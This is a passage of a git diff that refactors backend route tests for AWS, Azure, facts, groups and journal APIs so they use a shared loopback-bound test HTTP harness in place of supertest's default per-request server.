request(harness.use(app)) .post("/api/integrations/aws/lifecycle") .send({ instanceId: "i-abc123", action: "destroy" }); @@ -215,7 +230,7 @@ describe("AWS Router", () => { }); it("should return 400 when instanceId is missing", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .post("/api/integrations/aws/lifecycle") .send({ action: "start" }); @@ -223,7 +238,7 @@ describe("AWS Router", () => { }); it("should include region in target when provided", async () => { - await request(app) + await request(harness.use(app)) .post("/api/integrations/aws/lifecycle") .send({ instanceId: "i-abc123", action: "reboot", region: "eu-west-1" }); @@ -238,7 +253,7 @@ describe("AWS Router", () => { describe("GET /api/integrations/aws/regions", () => { it("should return regions", async () => { - const response = await request(app).get("/api/integrations/aws/regions"); + const response = await request(harness.use(app)).get("/api/integrations/aws/regions"); expect(response.status).toBe(200); expect(response.body).toHaveProperty("regions"); @@ -248,14 +263,14 @@ describe("AWS Router", () => { describe("GET /api/integrations/aws/instance-types", () => { it("should return instance types", async () => { - const response = await request(app).get("/api/integrations/aws/instance-types"); + const response = await request(harness.use(app)).get("/api/integrations/aws/instance-types"); expect(response.status).toBe(200); expect(response.body).toHaveProperty("instanceTypes"); }); it("should pass region query param to plugin", async () => { - await request(app) + await request(harness.use(app)) .get("/api/integrations/aws/instance-types") .query({ region: "eu-west-1" }); @@ -265,7 +280,7 @@ describe("AWS Router", () => { describe("GET /api/integrations/aws/amis", () => { it("should return AMIs for a region", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/integrations/aws/amis") .query({ region: "us-east-1" }); @@ -274,7 +289,7 @@ describe("AWS Router", () => { }); it("should return 400 when region is missing", async () => { - const response = await request(app).get("/api/integrations/aws/amis"); + const response = await request(harness.use(app)).get("/api/integrations/aws/amis"); expect(response.status).toBe(400); expect(response.body.error.code).toBe("VALIDATION_ERROR"); @@ -283,7 +298,7 @@ describe("AWS Router", () => { describe("GET /api/integrations/aws/vpcs", () => { it("should return VPCs for a region", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/integrations/aws/vpcs") .query({ region: "us-east-1" }); @@ -292,14 +307,14 @@ describe("AWS Router", () => { }); it("should return 400 when region is missing", async () => { - const response = await request(app).get("/api/integrations/aws/vpcs"); + const response = await request(harness.use(app)).get("/api/integrations/aws/vpcs"); expect(response.status).toBe(400); }); }); describe("GET /api/integrations/aws/subnets", () => { it("should return subnets for a region", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/integrations/aws/subnets") .query({ region: "us-east-1" }); @@ -308,7 +323,7 @@ describe("AWS Router", () => { }); it("should pass vpcId filter when provided", async () => { - await request(app) + await request(harness.use(app)) .get("/api/integrations/aws/subnets") .query({ region: "us-east-1", vpcId: "vpc-123" }); @@ -316,14 +331,14 @@ describe("AWS Router", () => { }); it("should return 400 when region is missing", async () => { - const response = await request(app).get("/api/integrations/aws/subnets"); + const response = await request(harness.use(app)).get("/api/integrations/aws/subnets"); expect(response.status).toBe(400); }); }); describe("GET /api/integrations/aws/security-groups", () => { it("should return security groups for a region", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/integrations/aws/security-groups") .query({ region: "us-east-1" }); @@ -332,7 +347,7 @@ describe("AWS Router", () => { }); it("should pass vpcId filter when provided", async () => { - await request(app) + await request(harness.use(app)) .get("/api/integrations/aws/security-groups") .query({ region: "us-east-1", vpcId: "vpc-456" }); @@ -342,7 +357,7 @@ describe("AWS Router", () => { describe("GET /api/integrations/aws/key-pairs", () => { it("should return key pairs for a region", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/integrations/aws/key-pairs") .query({ region: "us-east-1" }); @@ -351,7 +366,7 @@ describe("AWS Router", () => { }); it("should return 400 when region is missing", async () => { - const response = await request(app).get("/api/integrations/aws/key-pairs"); + const response = await request(harness.use(app)).get("/api/integrations/aws/key-pairs"); expect(response.status).toBe(400); }); }); diff --git a/backend/test/routes/azure.test.ts b/backend/test/routes/azure.test.ts index c2056c5a..8cce0b4a 100644 --- a/backend/test/routes/azure.test.ts +++ b/backend/test/routes/azure.test.ts @@ -7,7 +7,8 @@ import express, { type Express } from "express"; import request from "supertest"; -import { describe, it, expect, beforeEach, vi } from "vitest"; +import { createHttpHarness, type HttpHarness } from "../helpers/httpHarness"; +import { describe, it, expect, beforeEach, vi, beforeAll, afterAll } from "vitest"; import { createAzureRouter } from "../../src/routes/integrations/azure"; import { AzureAuthenticationError } from "../../src/integrations/azure/types"; import type { AzurePlugin } from "../../src/integrations/azure/AzurePlugin"; @@ -45,6 +46,20 @@ function createMockAzurePlugin(): AzurePlugin { } as unknown as AzurePlugin; } +// One loopback-bound HTTP server for the whole file. See +// test/helpers/httpHarness.ts: supertest's default request(app) opens a +// fresh wildcard-bound socket per request, which on macOS can be shadowed +// by an unrelated process holding the same port on 127.0.0.1. +let harness: HttpHarness; + +beforeAll(async () => { + harness = await createHttpHarness(); +}); + +afterAll(async () => { + await harness.close(); +}); + describe("Azure Router", () => { let app: Express; let mockPlugin: AzurePlugin; @@ -65,7 +80,7 @@ describe("Azure Router", () => { ]; (mockPlugin.getInventory as ReturnType).mockResolvedValue(mockNodes); - const response = await request(app).get("/api/integrations/azure/inventory"); + const response = await request(harness.use(app)).get("/api/integrations/azure/inventory"); expect(response.status).toBe(200); expect(response.body).toHaveProperty("inventory"); @@ -77,7 +92,7 @@ describe("Azure Router", () => { new AzureAuthenticationError("Invalid credentials"), ); - const response = await request(app).get("/api/integrations/azure/inventory"); + const response = await request(harness.use(app)).get("/api/integrations/azure/inventory"); expect(response.status).toBe(401); expect(response.body.error.code).toBe("UNAUTHORIZED"); @@ -88,7 +103,7 @@ describe("Azure Router", () => { new Error("Something went wrong"), ); - const response = await request(app).get("/api/integrations/azure/inventory"); + const response = await request(harness.use(app)).get("/api/integrations/azure/inventory"); expect(response.status).toBe(500); expect(response.body.error.code).toBe("INTERNAL_SERVER_ERROR"); @@ -108,7 +123,7 @@ describe("Azure Router", () => { }; it("should provision a VM with valid params and return 201", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .post("/api/integrations/azure/provision") .send(validProvisionBody); @@ -119,7 +134,7 @@ describe("Azure Router", () => { it("should return 400 when resourceGroup is missing", async () => { const { resourceGroup: _rg, ...body } = validProvisionBody; - const response = await request(app) + const response = await request(harness.use(app)) .post("/api/integrations/azure/provision") .send(body); @@ -129,7 +144,7 @@ describe("Azure Router", () => { it("should return 400 when networkInterfaceId is missing", async () => { const { networkInterfaceId: _nic, ...body } = validProvisionBody; - const response = await request(app) + const response = await request(harness.use(app)) .post("/api/integrations/azure/provision") .send(body); @@ -139,7 +154,7 @@ describe("Azure Router", () => { it("should return 400 when adminUsername is missing", async () => { const { adminUsername: _u, ...body } = validProvisionBody; - const response = await request(app) + const response = await request(harness.use(app)) .post("/api/integrations/azure/provision") .send(body); @@ -152,7 +167,7 @@ describe("Azure Router", () => { new AzureAuthenticationError("Expired token"), ); - const response = await request(app) + const response = await request(harness.use(app)) .post("/api/integrations/azure/provision") .send(validProvisionBody); @@ -165,7 +180,7 @@ describe("Azure Router", () => { new Error("Azure SDK error"), ); - const response = await request(app) + const response = await request(harness.use(app)) .post("/api/integrations/azure/provision") .send(validProvisionBody); @@ -189,7 +204,7 @@ describe("Azure Router", () => { results: [], }); - const response = await request(app) + const response = await request(harness.use(app)) .post("/api/integrations/azure/lifecycle") .send({ vmName: "my-vm", resourceGroup: "rg-1", action: "start" }); @@ -199,7 +214,7 @@ describe("Azure Router", () => { }); it("should return 400 for invalid action", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .post("/api/integrations/azure/lifecycle") .send({ vmName: "my-vm", resourceGroup: "rg-1", action: "destroy" }); @@ -208,7 +223,7 @@ describe("Azure Router", () => { }); it("should return 400 when vmName is missing", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .post("/api/integrations/azure/lifecycle") .send({ resourceGroup: "rg-1", action: "stop" }); @@ -224,7 +239,7 @@ describe("Azure Router", () => { createAzureRouter(mockPlugin, undefined, { allowDestructiveActions: false }), ); - const response = await request(restrictedApp) + const response = await request(harness.use(restrictedApp)) .post("/api/integrations/azure/lifecycle") .send({ vmName: "my-vm", resourceGroup: "rg-1", action: "deallocate" }); @@ -233,7 +248,7 @@ describe("Azure Router", () => { }); it("should use canonical target format azure:{rg}:{vmName}", async () => { - await request(app) + await request(harness.use(app)) .post("/api/integrations/azure/lifecycle") .send({ vmName: "my-vm", resourceGroup: "rg-1", action: "restart" }); @@ -250,7 +265,7 @@ describe("Azure Router", () => { new AzureAuthenticationError("Auth failed"), ); - const response = await request(app) + const response = await request(harness.use(app)) .post("/api/integrations/azure/lifecycle") .send({ vmName: "my-vm", resourceGroup: "rg-1", action: "stop" }); @@ -262,7 +277,7 @@ describe("Azure Router", () => { describe("POST /api/integrations/azure/test", () => { it("should return success when health check passes", async () => { - const response = await request(app).post("/api/integrations/azure/test"); + const response = await request(harness.use(app)).post("/api/integrations/azure/test"); expect(response.status).toBe(200); expect(response.body.success).toBe(true); @@ -274,7 +289,7 @@ describe("Azure Router", () => { message: "Auth failed", }); - const response = await request(app).post("/api/integrations/azure/test"); + const response = await request(harness.use(app)).post("/api/integrations/azure/test"); expect(response.status).toBe(200); expect(response.body.success).toBe(false); @@ -285,7 +300,7 @@ describe("Azure Router", () => { describe("GET /api/integrations/azure/locations", () => { it("should return available locations", async () => { - const response = await request(app).get("/api/integrations/azure/locations"); + const response = await request(harness.use(app)).get("/api/integrations/azure/locations"); expect(response.status).toBe(200); expect(response.body).toHaveProperty("locations"); @@ -297,7 +312,7 @@ describe("Azure Router", () => { new AzureAuthenticationError("Auth failed"), ); - const response = await request(app).get("/api/integrations/azure/locations"); + const response = await request(harness.use(app)).get("/api/integrations/azure/locations"); expect(response.status).toBe(401); }); @@ -307,7 +322,7 @@ describe("Azure Router", () => { describe("GET /api/integrations/azure/vm-sizes", () => { it("should return VM sizes for a location", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/integrations/azure/vm-sizes") .query({ location: "eastus" }); @@ -317,7 +332,7 @@ describe("Azure Router", () => { }); it("should return 400 when location is missing", async () => { - const response = await request(app).get("/api/integrations/azure/vm-sizes"); + const response = await request(harness.use(app)).get("/api/integrations/azure/vm-sizes"); expect(response.status).toBe(400); expect(response.body.error.code).toBe("VALIDATION_ERROR"); @@ -328,7 +343,7 @@ describe("Azure Router", () => { describe("GET /api/integrations/azure/images", () => { it("should return images and pass all query params including location", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/integrations/azure/images") .query({ location: "westeurope", publisher: "Canonical", offer: "UbuntuServer", sku: "18.04-LTS" }); @@ -338,7 +353,7 @@ describe("Azure Router", () => { }); it("should work without location (falls back to plugin default)", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/integrations/azure/images") .query({ publisher: "Canonical", offer: "UbuntuServer", sku: "18.04-LTS" }); @@ -351,7 +366,7 @@ describe("Azure Router", () => { new AzureAuthenticationError("Auth failed"), ); - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/integrations/azure/images") .query({ publisher: "Canonical", offer: "UbuntuServer", sku: "18.04-LTS" }); @@ -363,7 +378,7 @@ describe("Azure Router", () => { describe("GET /api/integrations/azure/resource-groups", () => { it("should return resource groups", async () => { - const response = await request(app).get("/api/integrations/azure/resource-groups"); + const response = await request(harness.use(app)).get("/api/integrations/azure/resource-groups"); expect(response.status).toBe(200); expect(response.body).toHaveProperty("resourceGroups"); @@ -375,7 +390,7 @@ describe("Azure Router", () => { new AzureAuthenticationError("Auth failed"), ); - const response = await request(app).get("/api/integrations/azure/resource-groups"); + const response = await request(harness.use(app)).get("/api/integrations/azure/resource-groups"); expect(response.status).toBe(401); }); @@ -385,7 +400,7 @@ describe("Azure Router", () => { new Error("Azure SDK error"), ); - const response = await request(app).get("/api/integrations/azure/resource-groups"); + const response = await request(harness.use(app)).get("/api/integrations/azure/resource-groups"); expect(response.status).toBe(500); expect(response.body.error.code).toBe("INTERNAL_SERVER_ERROR"); diff --git a/backend/test/routes/facts-source-filter.test.ts b/backend/test/routes/facts-source-filter.test.ts index ca9b8dde..2c348a91 100644 --- a/backend/test/routes/facts-source-filter.test.ts +++ b/backend/test/routes/facts-source-filter.test.ts @@ -1,6 +1,7 @@ -import { describe, it, expect, beforeEach, vi } from "vitest"; +import { describe, it, expect, beforeEach, vi, beforeAll, afterAll } from "vitest"; import express, { type Express } from "express"; import request from "supertest"; +import { createHttpHarness, type HttpHarness } from "../helpers/httpHarness"; import { IntegrationManager } from "../../src/integrations/IntegrationManager"; import { createFactsRouter } from "../../src/routes/facts"; import { requestIdMiddleware } from "../../src/middleware/errorHandler"; @@ -91,6 +92,20 @@ function buildApp(...plugins: InformationSourcePlugin[]): { return { app, manager }; } +// One loopback-bound HTTP server for the whole file. See +// test/helpers/httpHarness.ts: supertest's default request(app) opens a +// fresh wildcard-bound socket per request, which on macOS can be shadowed +// by an unrelated process holding the same port on 127.0.0.1. +let harness: HttpHarness; + +beforeAll(async () => { + harness = await createHttpHarness(); +}); + +afterAll(async () => { + await harness.close(); +}); + describe("GET /api/nodes/:id/facts source selection", () => { beforeEach(() => { vi.clearAllMocks(); @@ -106,7 +121,7 @@ describe("GET /api/nodes/:id/facts source selection", () => { const { app } = buildApp(bolt, ssh, ansible, puppetdb); - const response = await request(app).get("/api/nodes/node1/facts").expect(200); + const response = await request(harness.use(app)).get("/api/nodes/node1/facts").expect(200); expect(Object.keys(response.body.sources as Record)).toEqual([ "puppetdb", @@ -126,7 +141,7 @@ describe("GET /api/nodes/:id/facts source selection", () => { const { app } = buildApp(bolt, puppetdb, proxmox); - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/nodes/node1/facts?source=bolt") .expect(200); @@ -142,7 +157,7 @@ describe("GET /api/nodes/:id/facts source selection", () => { const puppetdb = new FakeInformationSource("puppetdb"); const { app } = buildApp(puppetdb); - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/nodes/node1/facts?source=does-not-exist") .expect(404); @@ -157,7 +172,7 @@ describe("GET /api/nodes/:id/facts source selection", () => { const { app } = buildApp(ssh); - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/nodes/host.example/facts?source=ssh") .expect(200); diff --git a/backend/test/routes/groups.test.ts b/backend/test/routes/groups.test.ts index 717b13ba..9c95b9ab 100644 --- a/backend/test/routes/groups.test.ts +++ b/backend/test/routes/groups.test.ts @@ -1,5 +1,7 @@ import express, { Express } from 'express'; import request from 'supertest'; +import { beforeAll, afterAll } from 'vitest'; +import { createHttpHarness, type HttpHarness } from '../helpers/httpHarness'; import { createGroupsRouter } from '../../src/routes/groups'; import { DatabaseService } from '../../src/database/DatabaseService'; import { randomUUID } from 'crypto'; @@ -9,6 +11,20 @@ import { PermissionService } from '../../src/services/PermissionService'; import { RoleService } from '../../src/services/RoleService'; import { GroupService } from '../../src/services/GroupService'; +// One loopback-bound HTTP server for the whole file. See +// test/helpers/httpHarness.ts: supertest's default request(app) opens a +// fresh wildcard-bound socket per request, which on macOS can be shadowed +// by an unrelated process holding the same port on 127.0.0.1. +let harness: HttpHarness; + +beforeAll(async () => { + harness = await createHttpHarness(); +}); + +afterAll(async () => { + await harness.close(); +}); + describe('Groups Router - POST /api/groups', () => { let app: Express; let databaseService: DatabaseService; @@ -116,7 +132,7 @@ describe('Groups Router - POST /api/groups', () => { describe('Authentication and Authorization', () => { it('should return 401 when no token is provided', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/groups') .send({ name: 'Test Group', description: 'Test description' }) .expect(401); @@ -125,7 +141,7 @@ describe('Groups Router - POST /api/groups', () => { }); it('should return 403 when user lacks groups:write permission', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/groups') .set('Authorization', `Bearer ${regularUserToken}`) .send({ name: 'Test Group', description: 'Test description' }) @@ -137,7 +153,7 @@ describe('Groups Router - POST /api/groups', () => { describe('Validation', () => { it('should return 400 when name is missing', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/groups') .set('Authorization', `Bearer ${adminToken}`) .send({ description: 'Test description' }) @@ -147,7 +163,7 @@ describe('Groups Router - POST /api/groups', () => { }); it('should return 400 when name is too short', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/groups') .set('Authorization', `Bearer ${adminToken}`) .send({ name: 'ab', description: 'Test description' }) @@ -157,7 +173,7 @@ describe('Groups Router - POST /api/groups', () => { }); it('should return 400 when name is too long', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/groups') .set('Authorization', `Bearer ${adminToken}`) .send({ name: 'a'.repeat(101), description: 'Test description' }) @@ -167,7 +183,7 @@ describe('Groups Router - POST /api/groups', () => { }); it('should return 400 when description is too long', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/groups') .set('Authorization', `Bearer ${adminToken}`) .send({ name: 'Test Group', description: 'a'.repeat(501) }) @@ -179,7 +195,7 @@ describe('Groups Router - POST /api/groups', () => { describe('Success Cases', () => { it('should create a group with valid data', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/groups') .set('Authorization', `Bearer ${adminToken}`) .send({ name: 'Developers', description: 'Development team' }) @@ -202,7 +218,7 @@ describe('Groups Router - POST /api/groups', () => { }); // Try to create duplicate - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/groups') .set('Authorization', `Bearer ${adminToken}`) .send({ name: 'Developers', description: 'Another team' }) @@ -305,7 +321,7 @@ describe('Groups Router - GET /api/groups', () => { describe('Authentication and Authorization', () => { it('should return 401 when no token is provided', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get('/api/groups') .expect(401); @@ -314,7 +330,7 @@ describe('Groups Router - GET /api/groups', () => { }); it('should return 403 when user lacks groups:read permission', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get('/api/groups') .set('Authorization', `Bearer ${regularUserToken}`) .expect(403); @@ -326,7 +342,7 @@ describe('Groups Router - GET /api/groups', () => { describe('Success Cases', () => { it('should return empty list when no groups exist', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get('/api/groups') .set('Authorization', `Bearer ${adminToken}`) .expect(200); @@ -346,7 +362,7 @@ describe('Groups Router - GET /api/groups', () => { await groupService.createGroup({ name: 'Group B', description: 'Second group' }); await groupService.createGroup({ name: 'Group C', description: 'Third group' }); - const response = await request(app) + const response = await request(harness.use(app)) .get('/api/groups') .set('Authorization', `Bearer ${adminToken}`) .expect(200); @@ -366,7 +382,7 @@ describe('Groups Router - GET /api/groups', () => { await groupService.createGroup({ name: `Group ${i}`, description: `Group ${i}` }); } - const response = await request(app) + const response = await request(harness.use(app)) .get('/api/groups?page=2&limit=2') .set('Authorization', `Bearer ${adminToken}`) .expect(200); @@ -472,7 +488,7 @@ describe('Groups Router - GET /api/groups/:id', () => { describe('Success Cases', () => { it('should return group with members and roles', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get(`/api/groups/${testGroupId}`) .set('Authorization', `Bearer ${adminToken}`) .expect(200); @@ -488,7 +504,7 @@ describe('Groups Router - GET /api/groups/:id', () => { it('should return 404 when group does not exist', async () => { const fakeId = randomUUID(); - const response = await request(app) + const response = await request(harness.use(app)) .get(`/api/groups/${fakeId}`) .set('Authorization', `Bearer ${adminToken}`) .expect(404); @@ -586,7 +602,7 @@ describe('Groups Router - PUT /api/groups/:id', () => { describe('Success Cases', () => { it('should update group name', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .put(`/api/groups/${testGroupId}`) .set('Authorization', `Bearer ${adminToken}`) .send({ name: 'Updated Group' }) @@ -597,7 +613,7 @@ describe('Groups Router - PUT /api/groups/:id', () => { }); it('should update group description', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .put(`/api/groups/${testGroupId}`) .set('Authorization', `Bearer ${adminToken}`) .send({ description: 'Updated description' }) @@ -609,7 +625,7 @@ describe('Groups Router - PUT /api/groups/:id', () => { it('should return 404 when group does not exist', async () => { const fakeId = randomUUID(); - const response = await request(app) + const response = await request(harness.use(app)) .put(`/api/groups/${fakeId}`) .set('Authorization', `Bearer ${adminToken}`) .send({ name: 'Updated Group' }) @@ -625,7 +641,7 @@ describe('Groups Router - PUT /api/groups/:id', () => { description: 'Another group', }); - const response = await request(app) + const response = await request(harness.use(app)) .put(`/api/groups/${testGroupId}`) .set('Authorization', `Bearer ${adminToken}`) .send({ name: 'Existing Group' }) @@ -735,7 +751,7 @@ describe('Groups Router - DELETE /api/groups/:id', () => { describe('Authentication and Authorization', () => { it('should return 403 when user lacks groups:admin permission', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .delete(`/api/groups/${testGroupId}`) .set('Authorization', `Bearer ${regularUserToken}`) .expect(403); @@ -747,7 +763,7 @@ describe('Groups Router - DELETE /api/groups/:id', () => { describe('Success Cases', () => { it('should delete group successfully', async () => { - await request(app) + await request(harness.use(app)) .delete(`/api/groups/${testGroupId}`) .set('Authorization', `Bearer ${adminToken}`) .expect(204); @@ -759,7 +775,7 @@ describe('Groups Router - DELETE /api/groups/:id', () => { it('should return 404 when group does not exist', async () => { const fakeId = randomUUID(); - const response = await request(app) + const response = await request(harness.use(app)) .delete(`/api/groups/${fakeId}`) .set('Authorization', `Bearer ${adminToken}`) .expect(404); @@ -891,7 +907,7 @@ describe('Groups Router - POST /api/groups/:id/roles/:roleId', () => { describe('Authentication and Authorization', () => { it('should return 401 when no token is provided', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .post(`/api/groups/${testGroupId}/roles/${testRoleId}`) .expect(401); @@ -900,7 +916,7 @@ describe('Groups Router - POST /api/groups/:id/roles/:roleId', () => { }); it('should return 403 when user lacks groups:write permission', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .post(`/api/groups/${testGroupId}/roles/${testRoleId}`) .set('Authorization', `Bearer ${regularUserToken}`) .expect(403); @@ -912,7 +928,7 @@ describe('Groups Router - POST /api/groups/:id/roles/:roleId', () => { describe('Success Cases', () => { it('should assign role to group successfully', async () => { - await request(app) + await request(harness.use(app)) .post(`/api/groups/${testGroupId}/roles/${testRoleId}`) .set('Authorization', `Bearer ${adminToken}`) .expect(204); @@ -933,7 +949,7 @@ describe('Groups Router - POST /api/groups/:id/roles/:roleId', () => { await roleService.assignPermissionToRole(testRoleId, testPermission.id); // Assign role to group - await request(app) + await request(harness.use(app)) .post(`/api/groups/${testGroupId}/roles/${testRoleId}`) .set('Authorization', `Bearer ${adminToken}`) .expect(204); @@ -950,7 +966,7 @@ describe('Groups Router - POST /api/groups/:id/roles/:roleId', () => { describe('Error Cases', () => { it('should return 404 when group does not exist', async () => { const fakeId = randomUUID(); - const response = await request(app) + const response = await request(harness.use(app)) .post(`/api/groups/${fakeId}/roles/${testRoleId}`) .set('Authorization', `Bearer ${adminToken}`) .expect(404); @@ -961,7 +977,7 @@ describe('Groups Router - POST /api/groups/:id/roles/:roleId', () => { it('should return 404 when role does not exist', async () => { const fakeId = randomUUID(); - const response = await request(app) + const response = await request(harness.use(app)) .post(`/api/groups/${testGroupId}/roles/${fakeId}`) .set('Authorization', `Bearer ${adminToken}`) .expect(404); @@ -975,7 +991,7 @@ describe('Groups Router - POST /api/groups/:id/roles/:roleId', () => { await groupService.assignRoleToGroup(testGroupId, testRoleId); // Try to assign again - const response = await request(app) + const response = await request(harness.use(app)) .post(`/api/groups/${testGroupId}/roles/${testRoleId}`) .set('Authorization', `Bearer ${adminToken}`) .expect(409); @@ -1111,7 +1127,7 @@ describe('Groups Router - DELETE /api/groups/:id/roles/:roleId', () => { describe('Authentication and Authorization', () => { it('should return 401 when no token is provided', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .delete(`/api/groups/${testGroupId}/roles/${testRoleId}`) .expect(401); @@ -1120,7 +1136,7 @@ describe('Groups Router - DELETE /api/groups/:id/roles/:roleId', () => { }); it('should return 403 when user lacks groups:write permission', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .delete(`/api/groups/${testGroupId}/roles/${testRoleId}`) .set('Authorization', `Bearer ${regularUserToken}`) .expect(403); @@ -1132,7 +1148,7 @@ describe('Groups Router - DELETE /api/groups/:id/roles/:roleId', () => { describe('Success Cases', () => { it('should remove role from group successfully', async () => { - await request(app) + await request(harness.use(app)) .delete(`/api/groups/${testGroupId}/roles/${testRoleId}`) .set('Authorization', `Bearer ${adminToken}`) .expect(204); @@ -1152,7 +1168,7 @@ describe('Groups Router - DELETE /api/groups/:id/roles/:roleId', () => { await roleService.assignPermissionToRole(testRoleId, testPermission.id); // Remove role from group - await request(app) + await request(harness.use(app)) .delete(`/api/groups/${testGroupId}/roles/${testRoleId}`) .set('Authorization', `Bearer ${adminToken}`) .expect(204); @@ -1174,7 +1190,7 @@ describe('Groups Router - DELETE /api/groups/:id/roles/:roleId', () => { description: 'Another role', }); - const response = await request(app) + const response = await request(harness.use(app)) .delete(`/api/groups/${testGroupId}/roles/${anotherRole.id}`) .set('Authorization', `Bearer ${adminToken}`) .expect(404); diff --git a/backend/test/routes/journal.test.ts b/backend/test/routes/journal.test.ts index aea3ec30..f3935534 100644 --- a/backend/test/routes/journal.test.ts +++ b/backend/test/routes/journal.test.ts @@ -1,5 +1,7 @@ import express, { Express } from "express"; import request from "supertest"; +import { beforeAll, afterAll } from "vitest"; +import { createHttpHarness, type HttpHarness } from "../helpers/httpHarness"; import { createJournalRouter } from "../../src/routes/journal"; import { DatabaseService } from "../../src/database/DatabaseService"; import { AuthenticationService } from "../../src/services/AuthenticationService"; @@ -8,6 +10,20 @@ import { PermissionService } from "../../src/services/PermissionService"; import { RoleService } from "../../src/services/RoleService"; import { JournalService } from "../../src/services/journal/JournalService"; +// One loopback-bound HTTP server for the whole file. See +// test/helpers/httpHarness.ts: supertest's default request(app) opens a +// fresh wildcard-bound socket per request, which on macOS can be shadowed +// by an unrelated process holding the same port on 127.0.0.1. +let harness: HttpHarness; + +beforeAll(async () => { + harness = await createHttpHarness(); +}); + +afterAll(async () => { + await harness.close(); +}); + describe("Journal Router", () => { let app: Express; let databaseService: DatabaseService; @@ -148,7 +164,7 @@ describe("Journal Router", () => { describe("GET /api/journal/:nodeId", () => { it("should return timeline entries for a node", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/journal/node-1") .set("Authorization", `Bearer ${adminToken}`); @@ -159,19 +175,19 @@ describe("Journal Router", () => { }); it("should return 401 when not authenticated", async () => { - const response = await request(app).get("/api/journal/node-1"); + const response = await request(harness.use(app)).get("/api/journal/node-1"); expect(response.status).toBe(401); }); it("should return 403 when user lacks journal:read permission", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/journal/node-1") .set("Authorization", `Bearer ${regularUserToken}`); expect(response.status).toBe(403); }); it("should return empty entries for unknown node", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/journal/unknown-node") .set("Authorization", `Bearer ${adminToken}`); @@ -180,7 +196,7 @@ describe("Journal Router", () => { }); it("should support pagination via limit and offset", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/journal/node-1") .set("Authorization", `Bearer ${adminToken}`) .query({ limit: 1, offset: 0 }); @@ -190,7 +206,7 @@ describe("Journal Router", () => { }); it("should return 400 for invalid limit", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/journal/node-1") .set("Authorization", `Bearer ${adminToken}`) .query({ limit: 0 }); @@ -202,7 +218,7 @@ describe("Journal Router", () => { describe("POST /api/journal/:nodeId/notes", () => { it("should add a manual note to a node", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .post("/api/journal/node-1/notes") .set("Authorization", `Bearer ${adminToken}`) .send({ content: "This is a test note" }); @@ -212,14 +228,14 @@ describe("Journal Router", () => { }); it("should return 401 when not authenticated", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .post("/api/journal/node-1/notes") .send({ content: "Unauthorized note" }); expect(response.status).toBe(401); }); it("should return 403 when user lacks journal:note permission", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .post("/api/journal/node-1/notes") .set("Authorization", `Bearer ${regularUserToken}`) .send({ content: "Forbidden note" }); @@ -227,7 +243,7 @@ describe("Journal Router", () => { }); it("should return 400 when content is missing", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .post("/api/journal/node-1/notes") .set("Authorization", `Bearer ${adminToken}`) .send({}); @@ -237,7 +253,7 @@ describe("Journal Router", () => { }); it("should return 400 when content is empty string", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .post("/api/journal/node-1/notes") .set("Authorization", `Bearer ${adminToken}`) .send({ content: "" }); @@ -247,12 +263,12 @@ describe("Journal Router", () => { }); it("should persist the note and appear in timeline", async () => { - await request(app) + await request(harness.use(app)) .post("/api/journal/node-1/notes") .set("Authorization", `Bearer ${adminToken}`) .send({ content: "Persisted note" }); - const timeline = await request(app) + const timeline = await request(harness.use(app)) .get("/api/journal/node-1") .set("Authorization", `Bearer ${adminToken}`); @@ -268,7 +284,7 @@ describe("Journal Router", () => { describe("GET /api/journal/search", () => { it("should search journal entries by query", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/journal/search") .set("Authorization", `Bearer ${adminToken}`) .query({ q: "Provisioned" }); @@ -279,14 +295,14 @@ describe("Journal Router", () => { }); it("should return 401 when not authenticated", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/journal/search") .query({ q: "test" }); expect(response.status).toBe(401); }); it("should return 403 when user lacks journal:read permission", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/journal/search") .set("Authorization", `Bearer ${regularUserToken}`) .query({ q: "test" }); @@ -294,7 +310,7 @@ describe("Journal Router", () => { }); it("should return 400 when query parameter q is missing", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/journal/search") .set("Authorization", 